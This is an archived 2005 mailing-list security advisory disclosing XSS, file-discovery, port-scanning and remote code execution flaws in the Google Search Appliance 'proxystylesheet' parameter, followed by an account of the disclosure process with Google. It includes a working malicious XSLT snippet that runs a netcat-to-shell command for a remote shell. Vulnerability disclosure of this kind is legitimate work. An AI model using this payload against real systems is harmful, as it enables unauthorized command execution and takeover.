[VulnWatch] Google Search Appliance proxystylesheet Flaws

From: H D Moore (vulnwatch_at_digitaloffense.net)
Date: 11/21/05

  • Next message: Cisco Systems Product Security Incident Response Team: "[VulnWatch] Cisco Security Advisory: Cisco Security Agent Vulnerable to Privilege Escalation"
    To: vulnwatch@vulnwatch.org
    Date: Mon, 21 Nov 2005 12:05:44 -0600

    This document can be found online at:
     - http://metasploit.com/research/vulns/google_proxystylesheet/

    Google Search Appliance proxystylesheet Flaws

    Release Date:
    November 21, 2005

    Patch Date:
    August 16, 2005

    Reported Date:
    June 10, 2005


    Systems Affected:
    Google Mini Search Appliance (confirmed)
    Google Search Appliance (possible)

    The Google Search Appliance allows customization of the search interface
    through XSLT style sheets. Certain versions of the appliance allow a
    remote URL to be supplied as the path to the XSLT style sheet. This
    feature can be abused to perform cross-site scripting (XSS), file
    discovery, service enumeration, and arbitrary command execution.

    Vendor Status:
    Google has released a patch and advisory (GA-2005-08-m, to clients only).

    Exploit Availability:
    A Metasploit Framework module has been developed for the XSLT Java Code
    Execution flaw: google_proxystylesheet_exec.
    No code is required to exploit the other flaws.

    H D Moore (hdm[at]metasploit.com)

    Vulnerability Details:
    The Google Search Appliance search interface uses the 'proxystylesheet'
    form variable to determine what style sheet to apply to the search
    results. This variable can be a local file name or a HTTP URL.

    Error Message XSS
    A cross-site scripting flaw can be exploited by providing a snippet of
    malicious Javascript code for the proxystylesheet variable. The appliance
    will look for a local file by that name and then display an error message
    containing the Javascript code.

    File Existence Verification
    It is possible to determine the existence of any file on the system by
    using a relative path from the style sheet directory. The error message
    returned from the server will disclose whether or not a valid path was
    provided. This can be used to fingerprint the base operating system and
    kernel version.

    Service Discovery
    A rudimentary port scan can be performed by requesting HTTP URLs that
    point to a target system and individual ports on that system. The error
    message returned from the server will differ between open and closed
    ports. The appliance will ignore requests to connect back to itself, but
    no other restrictions apply.

    XSLT Style Sheet XSS
    A cross-site scripting flaw can be exploited by creating a malicious XSLT
    style sheet and specifying the URL to this style sheet in the
    proxystylesheet parameter. The appliance will download the style sheet
    and present the malicious Javascript to the user who executed the search.

    XSLT Java Code Execution
    It is possible to execute arbitrary Java class methods on the appliance by
    creating a malicious XSLT style sheet. System commands can be executed as
    an unprivileged user, which combined with the vulnerable kernel version,
    can lead to a remote root shell. The appliance uses the Saxon XSLT
    parser, which allows the following snippet to work:

    <!-- Google Mini XSLT Code Execution [metasploit] -->

    XSLT Version: <xsl:value-of select="system-property('xsl:version')"/>
    <br />
    XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
    <br />
    XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
    <br />
    OS: <xsl:value-of select="sys:getProperty('os.name')" />
    <br />
    Version: <xsl:value-of select="sys:getProperty('os.version')" />
    <br />
    Arch: <xsl:value-of select="sys:getProperty('os.arch')" />
    <br />
    UserName: <xsl:value-of select="sys:getProperty('user.name')" />
    <br />
    UserHome: <xsl:value-of select="sys:getProperty('user.home')" />
    <br />
    UserDir: <xsl:value-of select="sys:getProperty('user.dir')" />
    <br />

    Executing command...<br />
    <xsl:value-of select="run:exec(run:getRuntime(), 'sh -c nc${IFS}${IFS}53|sh|nc${IFS}${IFS}53')" />

    The Google security team responded immediately to our report and were
    generally very helpful throughout the disclosure process. After a fix was
    developed, they offered to send us a Mini to verify that all issues had
    been addressed. Prior to shipping the appliance, they asked for an NDA
    and a license agreement to be signed and sent back. The NDA and license
    agreement both included clauses that restricted reverse engineering and
    other facets of security research. The NDA prohibited the publication of
    any information deemed confidential by Google without a prior written
    agreement. For any use other than security research, these conditions
    would not be an issue, however as they were written, any vulnerabilities
    discovered after the documents were signed could be considered
    confidential and restricted. We declined to sign the documents and Google
    placed a demo unit online for verification instead.

    This was found on Google Answers by Jericho: "No. The Google Search
    Appliance does not create security issues. All Google Search Appliance
    services are behind an internal firewall, protecting it from security
    intrusions. In addition, the Google Search Appliance has been thoroughly
    tested to guard against security risks. " ;-)


  • Next message: Cisco Systems Product Security Incident Response Team: "[VulnWatch] Cisco Security Advisory: Cisco Security Agent Vulnerable to Privilege Escalation"

    Relevant Pages